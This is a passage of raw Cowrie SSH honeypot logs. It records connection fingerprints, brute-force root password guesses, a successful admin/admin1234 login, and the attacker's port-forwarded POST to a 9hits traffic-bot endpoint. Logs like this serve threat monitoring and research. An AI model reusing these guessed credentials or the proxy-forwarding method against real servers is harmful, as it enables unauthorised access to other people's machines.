-\\x8a\\xfe\\xb9\\x9f\\xc1\\xf0\\x9d\\xfe\\xf9\\xc6l:\\x0e=\\xa2\\xbcr\\x15]I\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xb0\\'\\xf5\\x16\\xac\\xa5\\x9eS\\xaf\\xe5W\\xf0\\x0b\\xbaBkXO\\xe85\\x8b\\x84Jl\\x04^I\\xaf\\xd7\\xa8;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:03.187013Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:04.796497Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":23546,"dst_ip":"159.203.135.109","dst_port":22,"session":"22b49877fb9d","protocol":"ssh","message":"New connection: 49.247.37.22:23546 (159.203.135.109:22) [session: 22b49877fb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:16.624629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:16.628358Z","src_ip":"49.247.37.22","session":"22b49877fb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:16.831071Z","src_ip":"49.247.37.22","session":"22b49877fb9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq12wsde34rf","message":"login attempt [root/aq12wsde34rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:17.686965Z","src_ip":"49.247.37.22","session":"22b49877fb9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26536,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a387587540","protocol":"ssh","message":"New connection: 38.93.206.2:26536 (10.17.0.5:22) [session: d1a387587540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:17.880763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:17.884781Z","src_ip":"38.93.206.2","session":"d1a387587540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:17.934892Z","src_ip":"38.93.206.2","session":"d1a387587540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120595","message":"login attempt [root/120595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:18.088074Z","src_ip":"38.93.206.2","session":"d1a387587540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:18.902982Z","src_ip":"49.247.37.22","session":"22b49877fb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:19.140376Z","src_ip":"38.93.206.2","session":"d1a387587540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93f1e92daa2","protocol":"ssh","message":"New connection: 123.27.168.40:58014 (10.17.0.5:22) [session: c93f1e92daa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:40.694988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:40.699516Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:40.949901Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.099572Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.487184Z","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.609240Z","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.728182Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QGFrI3pHeGMzPHd%2BMlp%2BWg%3D%3DLJuz3IYSizxPCHyH1ts8BMrTvXZtqvmzwG%2BrMr36VMqCJOpwYkkygp3ULJvkMqFnFvZn30%2FlCX6c4epF9qHPGNUwUNZ1ETrvsDf8iqa6ux4m72f0Ogxs%2FEJA%2F0CobWRmYvNcPZ2pUlPKfUfJcanwbvEctYAXDaTpWwMbe8jfVzTJX%2BTkxVTkUVDqDEO2%2FQap%2FhM%2FZnwXGJWgQLvXajJnyyliiErse%2BJD6BAeDehdA%2FU5noLBN2ToiLeGr52P%2BmfIRO8UBqafgJM%2FSctqsfpOe%2FkN2rTaFuotiwJzwz6Fx6c8Wxl3YgTs5svdCaY%2BF9RLbBU2GrUoYstCJZL4TwjmmnC2VC1JC8QbRkDswNj4TKGJgVuQhEjQD0c%2BfFNIAUEvXu8WK5l6T8ceh5T2tW8Kpyo%2B2UGEvUqVlV2FGp4vtvZm2yiZXjcRDeCcoUzMAjZrkRbRSLBVG35S8irMFnk5v3ovbLqy2bl9%2F%2B6bgsRwG%2BOkiPUFyKQUCQfbjUGq33oGTkuksU1suNYDSvifdPwPcFTDwBpXRNMSSthz3ySdoIodLEJjKMIxu1LSI0Ema08BGh7eZ4gc5dSVSqfnbSAWiqPdpVN66kfoVgOByyMwjVDG7yImn5%2FIyXEafyaxOa3LZqWkdiWq0t1YgyZWiNyO0fsN8qjqW6W462InAQKQZy%2BLLJke3%2B5eGzmSy475IuzFgjbWnPUvfKiSyYCEpToBlCX6pi9xIAa%2BlOU2i1hPbIzx13zk4LZJ1wPKIgqc20qar1v2v%2Fb6J5l2Rgw8%2FWGq5AjK%2BGzMFH%2BDJkcPBG1jGRdT1BhLCpn6%2BMTj7UDz28DRxzGjJOI%2FIXbUvSvCm6sl5mSJlrWbCKxY84jxNOgEpNmzBPq1eKqe8edgAIDBubtYX%2Fr6fiIU29zClXw%2B5ISF0Y8vhs4OB%2BcV55lPeDg3iS0W%2Bjtp1ysCDoq3gbqH9MQUb86oJQMWIvcSbh2QJcYQbpT4Gp59POIoNiF4QikvFgN%2BznHtMK1ul2MPVLS07%2BLlDKxS8a0a9SqW%2FkapJ0nVC2VBJzqz8ZbDXdPFn7Yxbro%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QGFrI3pHeGMzPHd%2BMlp%2BWg%3D%3DLJuz3IYSizxPCHyH1ts8BMrTvXZtqvmzwG%2BrMr36VMqCJOpwYkkygp3ULJvkMqFnFvZn30%2FlCX6c4epF9qHPGNUwUNZ1ETrvsDf8iqa6ux4m72f0Ogxs%2FEJA%2F0CobWRmYvNcPZ2pUlPKfUfJcanwbvEctYAXDaTpWwMbe8jfVzTJX%2BTkxVTkUVDqDEO2%2FQap%2FhM%2FZnwXGJWgQLvXajJnyyliiErse%2BJD6BAeDehdA%2FU5noLBN2ToiLeGr52P%2BmfIRO8UBqafgJM%2FSctqsfpOe%2FkN2rTaFuotiwJzwz6Fx6c8Wxl3YgTs5svdCaY%2BF9RLbBU2GrUoYstCJZL4TwjmmnC2VC1JC8QbRkDswNj4TKGJgVuQhEjQD0c%2BfFNIAUEvXu8WK5l6T8ceh5T2tW8Kpyo%2B2UGEvUqVlV2FGp4vtvZm2yiZXjcRDeCcoUzMAjZrkRbRSLBVG35S8irMFnk5v3ovbLqy2bl9%2F%2B6bgsRwG%2BOkiPUFyKQUCQfbjUGq33oGTkuksU1suNYDSvifdPwPcFTDwBpXRNMSSthz3ySdoIodLEJjKMIxu1LSI0Ema08BGh7eZ4gc5dSVSqfnbSAWiqPdpVN66kfoVgOByyMwjVDG7yImn5%2FIyXEafyaxOa3LZqWkdiWq0t1YgyZWiNyO0fsN8qjqW6W462InAQKQZy%2BLLJke3%2B5eGzmSy475IuzFgjbWnPUvfKiSyYCEpToBlCX6pi9xIAa%2BlOU2i1hPbIzx13zk4LZJ1wPKIgqc20qar1v2v%2Fb6J5l2Rgw8%2FWGq5AjK%2BGzMFH%2BDJkcPBG1jGRdT1BhLCpn6%2BMTj7UDz28DRxzGjJOI%2FIXbUvSvCm6sl5mSJlrWbCKxY84jxNOgEpNmzBPq1eKqe8edgAIDBubtYX%2Fr6fiIU29zClXw%2B5ISF0Y8vhs4OB%2BcV55lPeDg3iS0W%2Bjtp1ysCDoq3gbqH9MQUb86oJQMWIvcSbh2QJcYQbpT4Gp59POIoNiF4QikvFgN%2BznHtMK1ul2MPVLS07%2BLlDKxS8a0a9SqW%2FkapJ0nVC2VBJzqz8ZbDXdPFn7Yxbro%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.732178Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.965565Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\x7f\\xba\\xe0\\xb8\\xcf8\\x10\\x1at\\xd36\\xb1\\xa7\\xa20\\\\\\x13|\\xda\\x0c\\xf2*\\xe3\\xe9|4\\xee\\x80<*\\xbd \\xee\\xd2\\xee\\xbe\\x96_\\x83\\x97\\x04\\xf0\\x84\\xb7b\\xa2F\\xfd+~\\x17\\xb3\\x14\\xc6kTJ\\x0f\\x111)\\xdc\\xcci\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9Z5\\x07\\xbe\\xf9\\xff\\x1b\\xdb\\xbc[#\\x96$\\xa6V\\x89\\x80\\xec\\x9f\\x9ex\\xf8\\x99\\x88\\xe5,Yg\\xfc\\x1cp\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\x7f\\xba\\xe0\\xb8\\xcf8\\x10\\x1at\\xd36\\xb1\\xa7\\xa20\\\\\\x13|\\xda\\x0c\\xf2*\\xe3\\xe9|4\\xee\\x80<*\\xbd \\xee\\xd2\\xee\\xbe\\x96_\\x83\\x97\\x04\\xf0\\x84\\xb7b\\xa2F\\xfd+~\\x17\\xb3\\x14\\xc6kTJ\\x0f\\x111)\\xdc\\xcci\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9Z5\\x07\\xbe\\xf9\\xff\\x1b\\xdb\\xbc[#\\x96$\\xa6V\\x89\\x80\\xec\\x9f\\x9ex\\xf8\\x99\\x88\\xe5,Yg\\xfc\\x1cp\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:42.968847Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
